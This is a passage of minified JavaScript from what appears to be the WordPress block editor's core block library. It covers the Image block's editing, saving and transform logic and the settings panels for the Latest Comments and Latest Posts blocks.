0}),panelId:p,children:(0,te.jsx)(Me.FocalPointPicker,{label:(0,Pe.__)("Focal point"),url:g,value:R,onDragStart:Ai,onDrag:Ai,onChange:ve=>a({focalPoint:ve})})})]}),!!hs.length&&(0,te.jsx)(_t.InspectorControls,{children:(0,te.jsx)(Me.__experimentalToolsPanel,{label:(0,Pe.__)("Settings"),resetAll:df,dropdownMenuProps:Tu,children:(0,te.jsx)(aye,{value:P,defaultValue:rv,onChange:wu,options:hs})})}),(0,te.jsx)(_t.InspectorControls,{group:"advanced",children:(0,te.jsx)(Me.TextControl,{__next40pxDefaultSize:!0,label:(0,Pe.__)("Title attribute"),value:E||"",onChange:oo,readOnly:l0,help:l0?(0,te.jsx)(te.Fragment,{children:s0}):(0,Ir.createInterpolateElement)((0,Pe.__)("Describe the role of this image on the page. <a>(Note: many devices and browsers do not display this text.)</a>"),{a:(0,te.jsx)(Me.ExternalLink,{href:"https://www.w3.org/TR/html52/dom.html#the-title-attribute"})})})})]}),H8=(0,fN.getFilename)(g),Pu;b?Pu=b:H8?Pu=(0,Pe.sprintf)((0,Pe.__)("This image has an empty alt attribute; its file name is %s"),H8):Pu=(0,Pe.__)("This image has an empty alt attribute");let j8=(0,_t.__experimentalUseBorderProps)(r),cde=(0,_t.__experimentalGetShadowClassesAndStyles)(r),ude=r.className?.includes("is-style-rounded"),{postType:mde,postId:NR,queryId:pde}=m,dde=Number.isFinite(pde),xy=e&&ro?(0,te.jsx)(Me.Placeholder,{className:"wp-block-image__placeholder",withIllustration:!0,children:(0,te.jsx)(Me.Spinner,{})}):(0,te.jsxs)(te.Fragment,{children:[(0,te.jsx)("img",{src:e||g,alt:Pu,onError:gs,onLoad:cf,ref:de,className:j8.className,width:Wn,height:bl,style:{aspectRatio:M,...K?{width:ee.width+K.width,height:ee.height+K.height}:{width:B,height:D},objectFit:O,objectPosition:R&&O?ov(R):void 0,...j8.style,...cde.style}}),(e||t)&&(0,te.jsx)(Me.Spinner,{})]});$n&&$e?xy=(0,te.jsx)(Uq,{href:x,children:(0,te.jsx)(_t.__experimentalImageEditor,{id:_,url:g,...ee,naturalHeight:bl,naturalWidth:Wn,onSaveImage:ve=>a(ve),onFinishEditing:()=>{Oe(!1)},borderProps:ude?void 0:j8})}):xy=(0,te.jsx)(Uq,{href:x,children:xy});let DR;if(sf&&n&&!$e&&!FE.includes(f)){let ve=M&&o$(M),Nt=ee.width/ee.height,qn=Wn/bl,hn=ve||Nt||qn||1,c0=Wn<bl?zs:zs*hn,rp=bl<Wn?zs:zs/hn,U8=fe*2.5,gf=h||U8,Bu=!1,_y=!1;y==="center"?(Bu=!0,_y=!0):(0,Pe.isRTL)()?y==="left"?Bu=!0:_y=!0:y==="right"?_y=!0:Bu=!0,DR=(0,te.jsx)(Me.ResizableBox,{ref:le,style:{position:"absolute",inset:`${J}px 0 0 0`},size:ee,minWidth:c0,maxWidth:gf,minHeight:rp,maxHeight:gf/hn,lockAspectRatio:hn,enable:{top:!1,right:Bu,bottom:!0,left:_y},onResizeStart:()=>{wt(!1)},onResize:(hde,gde,G8,ky)=>{X(ky)},onResizeStop:(hde,gde,G8,ky)=>{if(wt(!0),X(null),ne(LR=>({width:LR.width+ky.width,height:LR.height+ky.height})),h&&Wn>=h&&Math.abs(G8.offsetWidth-h)<10){a({width:void 0,height:void 0});return}a({width:`${G8.offsetWidth}px`,height:"auto",aspectRatio:hn===qn?void 0:String(hn)})},resizeRatio:y==="center"?2:1})}if(!g&&!e)return(0,te.jsxs)(te.Fragment,{children:[Xt,yy]});let fde=()=>{ot("postType",mde,NR,{featured_media:_}),xe((0,Pe.__)("Post featured image updated."),{type:"snackbar"})};return(0,te.jsxs)(te.Fragment,{children:[yl,Xt,yy,!dde&&NR&&_?(0,te.jsx)(_t.BlockSettingsMenuControls,{children:({canEdit:ve,selectedClientIds:Nt})=>ve&&Nt.length===1&&p===Nt[0]&&(0,te.jsx)(Me.MenuItem,{onClick:fde,children:(0,Pe.__)("Set as featured image")})}):null,xy,DR,(0,te.jsx)(ha,{attributes:r,setAttributes:a,isSelected:n,insertBlocksAfter:i,label:(0,Pe.__)("Image caption text"),showToolbarButton:n&&(at||zo)&&!hf})]})}var qq=o(j(),1),Zq=o(ue(),1),Kq=o(v(),1);function Qq(){let[e,{width:t}]=(0,Zq.useResizeObserver)(),r=(0,qq.useRef)();return[(0,Kq.jsx)("div",{className:"wp-block","aria-hidden":"true",style:{position:"absolute",inset:0,width:"100%",height:0,margin:0},ref:r,children:e}),t]}var ql=o(v(),1),sye=(e,t)=>{let r=Object.fromEntries(Object.entries(e??{}).filter(([a])=>["alt","id","link","caption"].includes(a)));return r.url=e?.sizes?.[t]?.url||e?.media_details?.sizes?.[t]?.source_url||e.url,r},s4=(e,t)=>t&&!e&&!(0,vh.isBlobURL)(t);function Yq(e,t){return"url"in(e?.sizes?.[t]??{})||"source_url"in(e?.media_details?.sizes?.[t]??{})}function cye({attributes:e,setAttributes:t,isSelected:r,className:a,insertBlocksAfter:n,onReplace:i,context:l,clientId:s,__unstableParentLayout:c}){let{url:u="",caption:m,id:p,width:d,height:f,sizeSlug:h,aspectRatio:g,scale:b,align:y,metadata:_}=e,[x,k]=(0,um.useState)(e.blob),S=(0,um.useRef)(),C=c?.type||c?.default?.type,E=!C||C!=="flex"&&C!=="grid",[B,D]=Qq(),[M,{width:O}]=(0,eZ.useResizeObserver)(),R=O&&O<160,F=(0,um.useRef)();(0,um.useEffect)(()=>{F.current=m},[m]);let{__unstableMarkNextChangeAsNotPersistent:P,replaceBlock:H}=(0,Jp.useDispatch)(Ya.store);(0,um.useEffect)(()=>{["wide","full"].includes(y)&&(P(),t({width:void 0,height:void 0,aspectRatio:void 0,scale:void 0}))},[P,y,t]);let{getSettings:$,getBlockRootClientId:V,getBlockName:G,canInsertBlockType:K}=(0,Jp.useSelect)(Ya.store),X=(0,Ya.useBlockEditingMode)(),{createErrorNotice:ee}=(0,Jp.useDispatch)(Jq.store);function ne(he){ee(he,{type:"snackbar"}),k(),t({src:void 0,id:void 0,url:void 0,blob:void 0})}function J(he){he.length===1&&k((0,vh.createBlobURL)(he[0]))}function oe(he){let wt=S.current?.ownerDocument.defaultView;if(he.every(je=>je instanceof wt.File)){let je=he,xe=V(s);je.some(Ke=>!jE(Ke))&&ee((0,js.__)("If uploading to a gallery all files need to be image formats"),{id:"gallery-upload-invalid-file",type:"snackbar"});let ot=je.filter(Ke=>jE(Ke)).map(Ke=>(0,mv.createBlock)("core/image",{blob:(0,vh.createBlobURL)(Ke)}));if(G(xe)==="core/gallery")H(s,ot);else if(K("core/gallery",xe)){let Ke=(0,mv.createBlock)("core/gallery",{},ot);H(s,Ke)}}}function ie(he){if(Array.isArray(he)){oe(he);return}if(!he||!he.url){t({url:void 0,alt:void 0,id:void 0,title:void 0,caption:void 0,blob:void 0}),k();return}if((0,vh.isBlobURL)(he.url)){k(he.url);return}let{imageDefaultSize:wt}=$(),je=rv;h&&Yq(he,h)?je=h:Yq(he,wt)&&(je=wt);let xe=sye(he,je);if(typeof xe.caption=="string"&&xe.caption.includes(`
`)&&(xe.caption=xe.caption.replace(/\n/g,"<br>")),F.current&&!xe.caption){let{caption:Ro,...Q}=xe;xe=Q}let ot;(!he.id||he.id!==p)&&(ot={sizeSlug:je});let Ke=e.linkDestination;if(!Ke)switch(window?.wp?.media?.view?.settings?.defaultProps?.link||Zp){case"file":case nh:Ke=nh;break;case"post":case ih:Ke=ih;break;case VE:Ke=VE;break;case Zp:Ke=Zp;break}let Qe;switch(Ke){case nh:Qe=he.url;break;case ih:Qe=he.link;break}xe.href=Qe,t({blob:void 0,...xe,...ot,linkDestination:Ke}),k()}function le(he){let wt=(0,c4.getProtocol)(he)?he:(0,c4.prependHTTPS)(he);wt!==u&&(t({blob:void 0,url:wt,id:void 0,sizeSlug:$().imageDefaultSize}),k())}xs({url:x,allowedTypes:jc,onChange:ie,onError:ne});let Ve=s4(p,u)?u:void 0,Ne=(0,Jp.useSelect)(he=>!window.__clientSideMediaProcessing||!p?!1:he(tZ.store).isUploadingById(p),[p]),ae=!!u&&(0,ql.jsx)("img",{alt:(0,js.__)("Edit image"),title:(0,js.__)("Edit image"),className:"edit-image-preview",src:u}),Be=(0,Ya.__experimentalUseBorderProps)(e),Ae=(0,Ya.__experimentalGetShadowClassesAndStyles)(e),re=w(a,{"is-transient":!!x||Ne,"is-resized":!!d||!!f,[`size-${h}`]:h,"has-custom-border":!!Be.className||Be.style&&Object.keys(Be.style).length>0}),fe=(0,Ya.useBlockProps)({ref:S,className:re}),{lockUrlControls:rt=!1,lockUrlControlsMessage:tt}=(0,Jp.useSelect)(he=>{if(!r)return{};let wt=(0,mv.getBlockBindingsSource)(_?.bindings?.url?.source);return{lockUrlControls:!!_?.bindings?.url&&!wt?.canUserEditValue?.({select:he,context:l,args:_?.bindings?.url?.args}),lockUrlControlsMessage:wt?.label?(0,js.sprintf)((0,js.__)("Connected to %s"),wt.label):(0,js.__)("Connected to dynamic data")}},[l,r,_?.bindings?.url]);return(0,ql.jsxs)(ql.Fragment,{children:[(0,ql.jsxs)("figure",{...fe,children:[(0,ql.jsx)($q,{temporaryURL:x,isSideloading:Ne,attributes:e,setAttributes:t,isSingleSelected:r,insertBlocksAfter:n,onReplace:i,onSelectImage:ie,onSelectURL:le,onUploadError:ne,context:l,clientId:s,blockEditingMode:X,parentLayoutType:C,maxContentWidth:D}),(0,ql.jsx)(Ya.MediaPlaceholder,{icon:(0,ql.jsx)(Ya.BlockIcon,{icon:Au}),onSelect:ie,onSelectURL:le,onFilesPreUpload:J,onError:ne,placeholder:he=>(0,ql.jsxs)(Xq.Placeholder,{className:w("block-editor-media-placeholder",{[Be.className]:!!Be.className&&!r}),icon:!R&&(rt?ZT:Au),withIllustration:!r||R,label:!R&&(0,js.__)("Image"),instructions:!rt&&!R&&(0,js.__)("Drag and drop an image, upload, or choose from your library."),style:{aspectRatio:!(d&&f)&&g?g:void 0,width:f&&g?"100%":d,height:d&&g?"100%":f,objectFit:b,...Be.style,...Ae.style},children:[rt&&!R&&tt,!rt&&!R&&he,M]}),allowedTypes:jc,handleUpload:he=>he.length===1,value:{id:p,src:Ve},mediaPreview:ae,disableMediaButtons:x||u})]}),r&&E&&B]})}var rZ=cye;var u4={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/image",title:"Image",category:"media",usesContext:["allowResize","imageCrop","fixedHeight","navigationButtonType","postId","postType","queryId","galleryId"],description:"Insert an image to make a visual statement.",keywords:["img","photo","picture"],textdomain:"default",attributes:{blob:{type:"string",role:"local"},url:{type:"string",source:"attribute",selector:"img",attribute:"src",role:"content"},alt:{type:"string",source:"attribute",selector:"img",attribute:"alt",default:"",role:"content"},caption:{type:"rich-text",source:"rich-text",selector:"figcaption",role:"content"},lightbox:{type:"object",enabled:{type:"boolean"}},title:{type:"string",source:"attribute",selector:"img",attribute:"title",role:"content"},href:{type:"string",source:"attribute",selector:"figure > a",attribute:"href",role:"content"},rel:{type:"string",source:"attribute",selector:"figure > a",attribute:"rel"},linkClass:{type:"string",source:"attribute",selector:"figure > a",attribute:"class"},id:{type:"number",role:"content"},width:{type:"string"},height:{type:"string"},aspectRatio:{type:"string"},scale:{type:"string"},focalPoint:{type:"object"},sizeSlug:{type:"string"},linkDestination:{type:"string"},linkTarget:{type:"string",source:"attribute",selector:"figure > a",attribute:"target"}},supports:{interactivity:!0,align:["left","center","right","wide","full"],anchor:!0,color:{text:!1,background:!1},filter:{duotone:!0},spacing:{margin:!0},__experimentalBorder:{color:!0,radius:!0,width:!0,__experimentalSkipSerialization:!0,__experimentalDefaultControls:{color:!0,radius:!0,width:!0}},shadow:{__experimentalSkipSerialization:!0}},selectors:{border:".wp-block-image img, .wp-block-image .wp-block-image__crop-area, .wp-block-image .components-placeholder",shadow:".wp-block-image img, .wp-block-image .wp-block-image__crop-area, .wp-block-image .components-placeholder",filter:{duotone:".wp-block-image img, .wp-block-image .components-placeholder"}},styles:[{name:"default",label:"Default",isDefault:!0},{name:"rounded",label:"Rounded"}],editorStyle:"wp-block-image-editor",style:"wp-block-image"};var Zl=o(T(),1);var Wc=o(v(),1);function oZ({attributes:e}){let{url:t,alt:r,caption:a,align:n,href:i,rel:l,linkClass:s,width:c,height:u,aspectRatio:m,scale:p,focalPoint:d,id:f,linkTarget:h,sizeSlug:g,title:b,metadata:{bindings:y={}}={}}=e,_=l||void 0,x=(0,Zl.__experimentalGetBorderClassesAndStyles)(e),k=(0,Zl.__experimentalGetShadowClassesAndStyles)(e),S=w({alignnone:n==="none",[`size-${g}`]:g,"is-resized":c||u,"has-custom-border":!!x.className||x.style&&Object.keys(x.style).length>0}),C=w(x.className,{[`wp-image-${f}`]:!!f}),E=(0,Wc.jsx)("img",{src:t,alt:r,className:C||void 0,style:{...x.style,...k.style,aspectRatio:m,objectFit:p,objectPosition:d&&p?ov(d):void 0,width:c,height:u},title:b}),B=!Zl.RichText.isEmpty(a)||y.caption||y?.__default?.source==="core/pattern-overrides",D=(0,Wc.jsxs)(Wc.Fragment,{children:[i?(0,Wc.jsx)("a",{className:s,href:i,target:h,rel:_,children:E}):E,B&&(0,Wc.jsx)(Zl.RichText.Content,{className:(0,Zl.__experimentalGetElementClassName)("caption"),tagName:"figcaption",value:a})]});return(0,Wc.jsx)("figure",{...Zl.useBlockProps.save({className:S}),children:D})}var m4=o(Tr(),1),pv=o(U(),1);function mye(e,{shortcode:t}){let{body:r}=document.implementation.createHTMLDocument("");r.innerHTML=t.content;let a=r.querySelector("img");for(;a&&a.parentNode&&a.parentNode!==r;)a=a.parentNode;return a&&a.parentNode.removeChild(a),r.innerHTML.trim()}function hN(e,t){let{body:r}=document.implementation.createHTMLDocument("");r.innerHTML=e;let{firstElementChild:a}=r;if(a&&a.nodeName==="A")return a.getAttribute(t)||void 0}var aZ={img:{attributes:["src","alt","title"],classes:["alignleft","aligncenter","alignright","alignnone",/^wp-image-\d+$/]}},pye=({phrasingContentSchema:e})=>({figure:{require:["img"],children:{...aZ,a:{attributes:["href","rel","target"],classes:["*"],children:aZ},figcaption:{children:e}}}}),dye={from:[{type:"raw",isMatch:e=>e.nodeName==="FIGURE"&&!!e.querySelector("img"),schema:pye,transform:e=>{let t=e.className+" "+e.querySelector("img").className,r=/(?:^|\s)align(left|center|right)(?:$|\s)/.exec(t),a=e.id===""?void 0:e.id,n=r?r[1]:void 0,i=/(?:^|\s)wp-image-(\d+)(?:$|\s)/.exec(t),l=i?Number(i[1]):void 0,s=e.querySelector("a"),c=s&&s.href?"custom":void 0,u=s&&s.href?s.href:void 0,m=s&&s.rel?s.rel:void 0,p=s&&s.className?s.className:void 0,d=(0,pv.getBlockAttributes)("core/image",e.outerHTML,{align:n,id:l,linkDestination:c,href:u,rel:m,linkClass:p,anchor:a});return(0,m4.isBlobURL)(d.url)&&(d.blob=d.url,delete d.url),(0,pv.createBlock)("core/image",d)}},{type:"files",isMatch(e){return e.every(t=>t.type.indexOf("image/")===0)},transform(e){return e.map(r=>(0,pv.createBlock)("core/image",{blob:(0,m4.createBlobURL)(r)}))}},{type:"shortcode",tag:"caption",attributes:{url:{type:"string",source:"attribute",attribute:"src",selector:"img"},alt:{type:"string",source:"attribute",attribute:"alt",selector:"img"},caption:{shortcode:mye},href:{shortcode:(e,{shortcode:t})=>hN(t.content,"href")},rel:{shortcode:(e,{shortcode:t})=>hN(t.content,"rel")},linkClass:{shortcode:(e,{shortcode:t})=>hN(t.content,"class")},id:{type:"number",shortcode:({named:{id:e}})=>{if(e)return parseInt(e.replace("attachment_",""),10)}},align:{type:"string",shortcode:({named:{align:e="alignnone"}})=>e.replace("align","")}}}]},nZ=dye;var{fieldsKey:fye,formKey:hye}=Z(iZ.privateApis),{name:lZ}=u4,p4={icon:Au,example:{attributes:{sizeSlug:"large",url:"https://s.w.org/images/core/5.3/MtBlanc1.jpg",caption:(0,ed.__)("Mont Blanc appears\u2014still, snowy, and serene.")}},__experimentalLabel(e,{context:t}){let r=e?.metadata?.name;if((t==="list-view"||t==="breadcrumb")&&r)return r;if(t==="accessibility"){let{caption:a,alt:n,url:i}=e;return i?n?n+(a?". "+a:""):a||"":(0,ed.__)("Empty")}},getEditWrapperProps(e){return{"data-align":e.align}},transforms:nZ,edit:rZ,save:oZ,deprecated:Aq};window.__experimentalContentOnlyInspectorFields&&(p4[fye]=[{id:"image",label:(0,ed.__)("Image"),type:"media",Edit:{control:"media",allowedTypes:["image"],multiple:!1},getValue:({item:e})=>({id:e.id,url:e.url,alt:e.alt,caption:e.caption}),setValue:({value:e})=>({id:e.id,url:e.url,alt:e.alt,caption:e.caption})},{id:"link",label:(0,ed.__)("Link"),type:"url",Edit:"link",getValue:({item:e})=>({url:e.href,rel:e.rel,linkTarget:e.linkTarget}),setValue:({value:e})=>({href:e.url,rel:e.rel,linkTarget:e.linkTarget})},{id:"caption",label:(0,ed.__)("Caption"),type:"text",Edit:"rich-text"},{id:"alt",label:(0,ed.__)("Alt text"),type:"text"}],p4[hye]={fields:["image","link","caption","alt"]});var gye=()=>N({name:lZ,metadata:u4,settings:p4});var vN={};q(vN,{init:()=>_ye,metadata:()=>d4,name:()=>pZ,settings:()=>dZ});var d4={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/latest-comments",title:"Latest Comments",category:"widgets",description:"Display a list of your most recent comments.",keywords:["recent comments"],textdomain:"default",attributes:{commentsToShow:{type:"number",default:5,minimum:1,maximum:100},displayAvatar:{type:"boolean",default:!0},displayDate:{type:"boolean",default:!0},displayContent:{type:"string",default:"excerpt",enum:["none","excerpt","full"]}},supports:{anchor:!0,align:!0,color:{gradients:!0,link:!0,__experimentalDefaultControls:{background:!0,text:!0,link:!0}},html:!1,spacing:{margin:!0,padding:!0},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}},interactivity:{clientNavigation:!0}},style:"wp-block-latest-comments"};var f4=o(T(),1),wa=o(A(),1),ka=o(I(),1),sZ=o(Iu(),1),cZ=o(ue(),1);var Wr=o(v(),1),bye=1,yye=100;function uZ({attributes:e,setAttributes:t,name:r}){let{commentsToShow:a,displayAvatar:n,displayDate:i,displayContent:l}=e,s=W(),{content:c,status:u,error:m}=(0,sZ.useServerSideRender)({attributes:e,skipBlockSupportAttributes:!0,block:r,urlQueryArgs:{_locale:"site"}}),p=(0,cZ.useDisabled)(),d=(0,f4.useBlockProps)({ref:p});return(0,Wr.jsxs)(Wr.Fragment,{children:[(0,Wr.jsx)(f4.InspectorControls,{children:(0,Wr.jsxs)(wa.__experimentalToolsPanel,{label:(0,ka.__)("Settings"),resetAll:()=>{t({commentsToShow:5,displayAvatar:!0,displayDate:!0,displayContent:"excerpt"})},dropdownMenuProps:s,children:[(0,Wr.jsx)(wa.__experimentalToolsPanelItem,{hasValue:()=>!n,label:(0,ka.__)("Display avatar"),onDeselect:()=>t({displayAvatar:!0}),isShownByDefault:!0,children:(0,Wr.jsx)(wa.ToggleControl,{label:(0,ka.__)("Display avatar"),checked:n,onChange:()=>t({displayAvatar:!n})})}),(0,Wr.jsx)(wa.__experimentalToolsPanelItem,{hasValue:()=>!i,label:(0,ka.__)("Display date"),onDeselect:()=>t({displayDate:!0}),isShownByDefault:!0,children:(0,Wr.jsx)(wa.ToggleControl,{label:(0,ka.__)("Display date"),checked:i,onChange:()=>t({displayDate:!i})})}),(0,Wr.jsx)(wa.__experimentalToolsPanelItem,{hasValue:()=>l!=="excerpt",label:(0,ka.__)("Display content"),onDeselect:()=>t({displayContent:"excerpt"}),isShownByDefault:!0,children:(0,Wr.jsx)(wa.SelectControl,{__next40pxDefaultSize:!0,label:(0,ka.__)("Display content"),value:l,options:[{label:(0,ka.__)("No content"),value:"none"},{label:(0,ka.__)("Excerpt"),value:"excerpt"},{label:(0,ka.__)("Full content"),value:"full"}],onChange:f=>t({displayContent:f})})}),(0,Wr.jsx)(wa.__experimentalToolsPanelItem,{hasValue:()=>a!==5,label:(0,ka.__)("Number of comments"),onDeselect:()=>t({commentsToShow:5}),isShownByDefault:!0,children:(0,Wr.jsx)(wa.RangeControl,{__next40pxDefaultSize:!0,label:(0,ka.__)("Number of comments"),value:a,onChange:f=>t({commentsToShow:f}),min:bye,max:yye,required:!0})})]})}),u==="loading"&&(0,Wr.jsx)("div",{...d,children:(0,Wr.jsx)(wa.Spinner,{})}),u==="error"&&(0,Wr.jsx)("div",{...d,children:(0,Wr.jsx)("p",{children:(0,ka.sprintf)((0,ka.__)("Error: %s"),m)})}),u==="success"&&(0,Wr.jsx)(no,{wrapperProps:d,html:c})]})}var xye={attributes:{commentsToShow:{type:"number",default:5,minimum:1,maximum:100},displayAvatar:{type:"boolean",default:!0},displayDate:{type:"boolean",default:!0},displayExcerpt:{type:"boolean",default:!0}},isEligible(e){return e?.displayExcerpt===!1},migrate(e){return{...e,displayContent:e.displayExcerpt?"excerpt":"none"}}},mZ=[xye];var{name:pZ}=d4,dZ={icon:P0,example:{},edit:uZ,deprecated:mZ},_ye=()=>N({name:pZ,metadata:d4,settings:dZ});var _N={};q(_N,{init:()=>Eye,metadata:()=>bh,name:()=>xZ,settings:()=>_Z});var bh={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/latest-posts",title:"Latest Posts",category:"widgets",description:"Display a list of your most recent posts.",keywords:["recent posts"],textdomain:"default",attributes:{categories:{type:"array",items:{type:"object"}},selectedAuthor:{type:"number"},postsToShow:{type:"number",default:5},displayPostContent:{type:"boolean",default:!1},displayPostContentRadio:{type:"string",default:"excerpt"},excerptLength:{type:"number",default:55},displayAuthor:{type:"boolean",default:!1},displayPostDate:{type:"boolean",default:!1},postLayout:{type:"string",default:"list"},columns:{type:"number",default:3},order:{type:"string",default:"desc"},orderBy:{type:"string",default:"date"},displayFeaturedImage:{type:"boolean",default:!1},featuredImageAlign:{type:"string",enum:["left","center","right"]},featuredImageSizeSlug:{type:"string",default:"thumbnail"},featuredImageSizeWidth:{type:"number",default:null},featuredImageSizeHeight:{type:"number",default:null},addLinkToFeaturedImage:{type:"boolean",default:!1}},supports:{anchor:!0,align:!0,html:!1,color:{gradients:!0,link:!0,__experimentalDefaultControls:{background:!0,text:!0,link:!0}},spacing:{margin:!0,padding:!0},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}},__experimentalBorder:{radius:!0,color:!0,width:!0,style:!0,__experimentalDefaultControls:{radius:!0,color:!0,width:!0,style:!0}},interactivity:{clientNavigation:!0}},editorStyle:"wp-block-latest-posts-editor",style:"wp-block-latest-posts"};var{attributes:wye}=bh,fZ=[{attributes:{...wye,categories:{type:"string"}},supports:{align:!0,html:!1},migrate:e=>({...e,categories:[{id:Number(e.categories)}]}),isEligible:({categories:e})=>e&&typeof e=="string",save:()=>null}];var We=o(A(),1),ze=o(I(),1),yh=o(Sk(),1),Us=o(T(),1),dv=o(z(),1);var yN=o(Y(),1),vZ=o(yr(),1),bZ=o(ue(),1),yZ=o(j(),1);var hZ=10,gZ=100,bN=6,h4=55;var ye=o(v(),1),Cye={per_page:-1,_fields:"id,name",context:"view"},Sye={per_page:-1,has_published_posts:["post"],context:"view"},Tye=[{value:"none",icon:B7,label:(0,ze.__)("None")},{value:"left",icon:JT,label:(0,ze.__)("Left")},{value:"center",icon:YT,label:(0,ze.__)("Center")},{value:"right",icon:tP,label:(0,ze.__)("Right")}];function Pye(e,t){let r=e._embedded?.["wp:featuredmedia"]?.["0"];return{url:r?.media_details?.sizes?.[t]?.source_url??r?.source_url,alt:r?.alt_text}}function Bye(e){return e._embedded?.author?.[0]}function Iye({attributes:e,setAttributes:t,postCount:r}){let{postsToShow:a,order:n,orderBy:i,categories:l,selectedAuthor:s,displayFeaturedImage:c,displayPostContentRadio:u,displayPostContent:m,displayPostDate:p,displayAuthor:d,postLayout:f,columns:h,excerptLength:g,featuredImageAlign:b,featuredImageSizeSlug:y,featuredImageSizeWidth:_,featuredImageSizeHeight:x,addLinkToFeaturedImage:k}=e,{imageSizes:S,defaultImageWidth:C,defaultImageHeight:E,categoriesList:B,authorList:D}=(0,dv.useSelect)(P=>{let{getEntityRecords:H,getUsers:$}=P(yN.store),V=P(Us.store).getSettings();return{defaultImageWidth:V.imageDimensions?.[y]?.width??0,defaultImageHeight:V.imageDimensions?.[y]?.height??0,imageSizes:V.imageSizes,categoriesList:H("taxonomy","category",Cye),authorList:$(Sye)}},[y]),M=W(),O=S.filter(({slug:P})=>P!=="full").map(({name:P,slug:H})=>({value:H,label:P})),R=B?.reduce((P,H)=>({...P,[H.name]:H}),{})??{},F=P=>{if(P.some(V=>typeof V=="string"&&!R[V]))return;let $=P.map(V=>typeof V=="string"?R[V]:V);if($.includes(null))return!1;t({categories:$})};return(0,ye.jsxs)(ye.Fragment,{children:[(0,ye.jsxs)(We.__experimentalToolsPanel,{label:(0,ze.__)("Post content"),resetAll:()=>t({displayPostContent:!1,displayPostContentRadio:"excerpt",excerptLength:h4}),dropdownMenuProps:M,children:[(0,ye.jsx)(We.__experimentalToolsPanelItem,{hasValue:()=>!!m,label:(0,ze.__)("Display post content"),onDeselect:()=>t({displayPostContent:!1}),isShownByDefault:!0,children:(0,ye.jsx)(We.ToggleControl,{label:(0,ze.__)("Display post content"),checked:m,onChange:P=>t({displayPostContent:P})})}),m&&(0,ye.jsx)(We.__experimentalToolsPanelItem,{hasValue:()=>u!=="excerpt",label:(0,ze.__)("Content length"),onDeselect:()=>t({displayPostContentRadio:"excerpt"}),isShownByDefault:!0,children:(0,ye.jsx)(We.RadioControl,{label:(0,ze.__)("Content length"),selected:u,options:[{label:(0,ze.__)("Excerpt"),value:"excerpt"},{label:(0,ze.__)("Full post"),value:"full_post"}],onChange:P=>t({displayPostContentRadio:P})})}),m&&u==="excerpt"&&(0,ye.jsx)(We.__experimentalToolsPanelItem,{hasValue:()=>g!==h4,label:(0,ze.__)("Max number of words"),onDeselect:()=>t({excerptLength:h4}),isShownByDefault:!0,children:(0,ye.jsx)(We.RangeControl,{__next40pxDefaultSize:!0,label:(0,ze.__)("Max number of words"),value:g,onChange:P=>t({excerptLength:P}),min:hZ,max:gZ})})]}),(0,ye.jsxs)(We.__experimentalToolsPanel,{label:(0,ze.__)("Post meta"),resetAll:()=>t({displayAuthor:!1,displayPostDate:!1}),dropdownMenuProps:M,children:[(0,ye.jsx)(We.__experimentalToolsPanelItem,{hasValue:()=>!!d,label:(0,ze.__)("Display author name"),onDeselect:()=>t({displayAuthor:!1}),isShownByDefault:!0,children:(0,ye.jsx)(We.ToggleControl,{label:(0,ze.__)("Display author name"),checked:d,onChange:P=>t({displayAuthor:P})})}),(0,ye.jsx)(We.__experimentalToolsPanelItem,{hasValue:()=>!!p,label:(0,ze.__)("Display post date"),onDeselect:()=>t({displayPostDate:!1}),isShownByDefault:!0,children:(0,ye.jsx)(We.ToggleControl,{label:(0,ze.__)("Display post date"),checked:p,onChange:P=>t({displayPostDate:P})})})]}),(0,ye.jsxs)(We.__experimentalToolsPanel,{label:(0,ze.__)("Featured image"),resetAll:()=>t({displayFeaturedImage:!1,featuredImageAlign:void 0,featuredImageSizeSlug:"thumbnail",featuredImageSizeWidth:null,featuredImageSizeHeight:null,addLinkToFeaturedImage:!1}),dropdownMenuProps:M,children:[(0,ye.jsx)(We.__experimentalToolsPanelItem,{hasValue:()=>!!c,label:(0,ze.__)("Display featured image"),onDeselect:()=>t({displayFeaturedImage:!1}),isShownByDefault:!0,children:(0,ye.jsx)(We.ToggleControl,{label:(0,ze.__)("Display featured image"),checked:c,onChange:P=>t({displayFeaturedImage:P})})}),c&&(0,ye.jsxs)(ye.Fragment,{children:[(0,ye.jsx)(We.__experimentalToolsPanelItem,{hasValue:()=>y!=="thumbnail"||_!==null||x!==null,label:(0,ze.__)("Image size"),onDeselect:()=>t({featuredImageSizeSlug:"thumbnail",featuredImageSizeWidth:null,featuredImageSizeHeight:null}),isShownByDefault:!0,children:(0,ye.jsx)(Us.__experimentalImageSizeControl,{onChange:P=>{let H={};P.hasOwnProperty("width")&&(H.featuredImageSizeWidth=P.width),P.hasOwnProperty("height")&&(H.featuredImageSizeHeight=P.height),t(H)},slug:y,width:_,height:x,imageWidth:C,imageHeight:E,imageSizeOptions:O,imageSizeHelp:(0,ze.__)("Select the size of the source image."),onChangeImage:P=>t({featuredImageSizeSlug:P,featuredImageSizeWidth:void 0,featuredImageSizeHeight:void 0})})}),(0,ye.jsx)(We.__experimentalToolsPanelItem,{hasValue:()=>!!b,label:(0,ze.__)("Image alignment"),onDeselect:()=>t({featuredImageAlign:void 0}),isShownByDefault:!0,children:(0,ye.jsx)(We.__experimentalToggleGroupControl,{className:"editor-latest-posts-image-alignment-control",__next40pxDefaultSize:!0,label:(0,ze.__)("Image alignment"),value:b||"none",onChange:P=>t({featuredImageAlign:P!=="none"?P:void 0}),children:Tye.map(({value:P,icon:H,label:$})=>(0,ye.jsx)(We.__experimentalToggleGroupControlOptionIcon,{value:P,icon:H,label:$},P))})}),(0,ye.jsx)(We.__experimentalToolsPanelItem,{hasValue:()=>!!k,label:(0,ze.__)("Add link to featured image"),onDeselect:()=>t({addLinkToFeaturedImage:!1}),isShownByDefault:!0,children:(0,ye.jsx)(We.ToggleControl,{label:(0,ze.__)("Add link to featured 